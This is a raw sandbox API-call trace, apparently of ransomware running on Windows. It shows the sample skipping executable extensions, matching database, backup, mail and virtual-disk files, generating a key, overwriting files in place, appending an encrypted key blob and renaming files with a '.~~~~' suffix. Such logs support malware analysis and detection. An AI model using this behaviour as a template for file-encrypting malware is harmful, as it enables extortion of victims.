	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DBT") returned 0x0
	[0064.568] lstrlenW (lpString=".ACCDB") returned 6
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".ACCDB") returned 0x0
	[0064.568] lstrlenW (lpString=".fdb") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".fdb") returned 0x0
	[0064.568] lstrlenW (lpString=".bak") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".bak") returned 0x0
	[0064.568] lstrlenW (lpString=".myd") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".myd") returned 0x0
	[0064.568] lstrlenW (lpString=".DTXS") returned 5
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DTXS") returned 0x0
	[0064.569] lstrlenW (lpString=".ckp") returned 4
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".ckp") returned 0x0
	[0064.569] lstrlenW (lpString=".dbt") returned 4
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dbt") returned 0x0
	[0064.569] lstrlenW (lpString=".db") returned 3
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".db") returned 0x0
	[0064.569] lstrlenW (lpString=".TXT") returned 4
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".TXT") returned 0x0
	[0064.569] lstrlenW (lpString=".MDF") returned 4
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".MDF") returned 0x0
	[0064.569] lstrlenW (lpString=".bdb") returned 4
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".bdb") returned 0x0
	[0064.569] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0064.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0064.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa750
	[0064.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0064.569] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0064.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0064.570] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0064.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0064.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0064.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a1e10
	[0064.571] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18456066873) returned 1
	[0064.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x93a11ed0, dwHighDateTime=0x1d60e1e)) 
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0064.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0064.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0064.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0064.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0064.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0064.571] GetLastError () returned 0x0
	[0064.571] SetLastError (dwErrCode=0x0) 
	[0064.571] GetLastError () returned 0x0
	[0064.571] SetLastError (dwErrCode=0x0) 
	[0064.572] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.572] GetLastError () returned 0x0
	[0064.572] SetLastError (dwErrCode=0x0) 
	[0064.573] GetLastError () returned 0x0
	[0064.573] SetLastError (dwErrCode=0x0) 
	[0064.573] GetLastError () returned 0x0
	[0064.573] SetLastError (dwErrCode=0x0) 
	[0064.573] GetLastError () returned 0x0
	[0064.573] SetLastError (dwErrCode=0x0) 
	[0064.573] GetLastError () returned 0x0
	[0064.573] SetLastError (dwErrCode=0x0) 
	[0064.573] GetLastError () returned 0x0
	[0064.573] SetLastError (dwErrCode=0x0) 
	[0064.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
	[0064.573] ReadFile (in: hFile=0x11c, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0064.843] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0064.843] WriteFile (in: hFile=0x11c, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0064.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.845] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0064.845] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.877] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.877] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.878] CloseHandle (hObject=0x11c) returned 1
	[0067.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0067.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.~~~~")) returned 1
	[0067.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0067.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0067.036] GetLastError () returned 0x0
	[0067.036] SetLastError (dwErrCode=0x0) 
	[0067.036] GetLastError () returned 0x0
	[0067.036] SetLastError (dwErrCode=0x0) 
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e10 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa750 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0067.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.037] RtlWakeConditionVariable () returned 0x365f70
	[0067.037] GetCurrentThreadId () returned 0x9cc
	[0067.106] GetCurrentThreadId () returned 0x9cc
	[0067.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e730 | out: hHeap=0x300000) returned 1
	[0067.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0067.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.107] lstrlenW (lpString=".scr") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".scr") returned 0x0
	[0067.107] lstrlenW (lpString=".cmd") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".cmd") returned 0x0
	[0067.107] lstrlenW (lpString=".dll") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dll") returned 0x0
	[0067.107] lstrlenW (lpString=".bat") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".bat") returned 0x0
	[0067.107] lstrlenW (lpString=".cpl") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".cpl") returned 0x0
	[0067.107] lstrlenW (lpString=".sys") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".sys") returned 0x0
	[0067.107] lstrlenW (lpString=".msc") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".msc") returned 0x0
	[0067.107] lstrlenW (lpString=".com") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".com") returned 0x0
	[0067.107] lstrlenW (lpString=".lnk") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".lnk") returned 0x0
	[0067.107] lstrlenW (lpString=".msp") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".msp") returned 0x0
	[0067.107] lstrlenW (lpString=".pif") returned 4
	[0067.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".pif") returned 0x0
	[0067.107] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.108] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0067.108] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.133] lstrlenW (lpString=".sqb") returned 4
	[0067.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".sqb") returned 0x0
	[0067.133] lstrlenW (lpString=".ost") returned 4
	[0067.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".ost") returned 0x0
	[0067.138] lstrlenW (lpString=".txt") returned 4
	[0067.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".txt") returned 0x0
	[0067.138] lstrlenW (lpString=".mdt") returned 4
	[0067.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".mdt") returned 0x0
	[0067.151] lstrlenW (lpString=".BDB") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".BDB") returned 0x0
	[0067.151] lstrlenW (lpString=".eql") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".eql") returned 0x0
	[0067.151] lstrlenW (lpString=".DBF") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DBF") returned 0x0
	[0067.151] lstrlenW (lpString=".EQL") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".EQL") returned 0x0
	[0067.151] lstrlenW (lpString=".FDB") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".FDB") returned 0x0
	[0067.151] lstrlenW (lpString=".EDB") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".EDB") returned 0x0
	[0067.151] lstrlenW (lpString=".DACPAC") returned 7
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DACPAC") returned 0x0
	[0067.151] lstrlenW (lpString=".VHD") returned 4
	[0067.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".VHD") returned 0x0
	[0067.151] lstrlenW (lpString=".DBV") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DBV") returned 0x0
	[0067.152] lstrlenW (lpString=".dacpac") returned 7
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dacpac") returned 0x0
	[0067.152] lstrlenW (lpString=".sdf") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".sdf") returned 0x0
	[0067.152] lstrlenW (lpString=".accdb") returned 6
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".accdb") returned 0x0
	[0067.152] lstrlenW (lpString=".DBX") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DBX") returned 0x0
	[0067.152] lstrlenW (lpString=".MDT") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".MDT") returned 0x0
	[0067.152] lstrlenW (lpString=".SQB") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".SQB") returned 0x0
	[0067.152] lstrlenW (lpString=".vhd") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".vhd") returned 0x0
	[0067.152] lstrlenW (lpString=".bac") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".bac") returned 0x0
	[0067.152] lstrlenW (lpString=".mdf") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".mdf") returned 0x0
	[0067.152] lstrlenW (lpString=".BAK") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".BAK") returned 0x0
	[0067.152] lstrlenW (lpString=".BAC") returned 4
	[0067.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".BAC") returned 0x0
	[0067.152] lstrlenW (lpString=".dbs") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dbs") returned 0x0
	[0067.153] lstrlenW (lpString=".vhdx") returned 5
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".vhdx") returned 0x0
	[0067.153] lstrlenW (lpString=".NDF") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".NDF") returned 0x0
	[0067.153] lstrlenW (lpString=".dat") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dat") returned 0x0
	[0067.153] lstrlenW (lpString=".DBS") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DBS") returned 0x0
	[0067.153] lstrlenW (lpString=".CKP") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".CKP") returned 0x0
	[0067.153] lstrlenW (lpString=".edb") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".edb") returned 0x0
	[0067.153] lstrlenW (lpString=".PST") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".PST") returned 0x0
	[0067.153] lstrlenW (lpString=".dbf") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dbf") returned 0x0
	[0067.153] lstrlenW (lpString=".SQL") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".SQL") returned 0x0
	[0067.153] lstrlenW (lpString=".pst") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".pst") returned 0x0
	[0067.153] lstrlenW (lpString=".dbv") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dbv") returned 0x0
	[0067.153] lstrlenW (lpString=".SDF") returned 4
	[0067.153] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".SDF") returned 0x0
	[0067.154] lstrlenW (lpString=".dtxs") returned 5
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dtxs") returned 0x0
	[0067.154] lstrlenW (lpString=".db3") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".db3") returned 0x0
	[0067.154] lstrlenW (lpString=".OST") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".OST") returned 0x0
	[0067.154] lstrlenW (lpString=".dbx") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dbx") returned 0x0
	[0067.154] lstrlenW (lpString=".DB3") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DB3") returned 0x0
	[0067.154] lstrlenW (lpString=".DAT") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DAT") returned 0x0
	[0067.154] lstrlenW (lpString=".VHDX") returned 5
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".VHDX") returned 0x0
	[0067.154] lstrlenW (lpString=".ndf") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".ndf") returned 0x0
	[0067.154] lstrlenW (lpString=".DB") returned 3
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DB") returned 0x0
	[0067.154] lstrlenW (lpString=".sql") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".sql") returned 0x0
	[0067.154] lstrlenW (lpString=".MYD") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".MYD") returned 0x0
	[0067.154] lstrlenW (lpString=".DBT") returned 4
	[0067.154] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DBT") returned 0x0
	[0067.155] lstrlenW (lpString=".ACCDB") returned 6
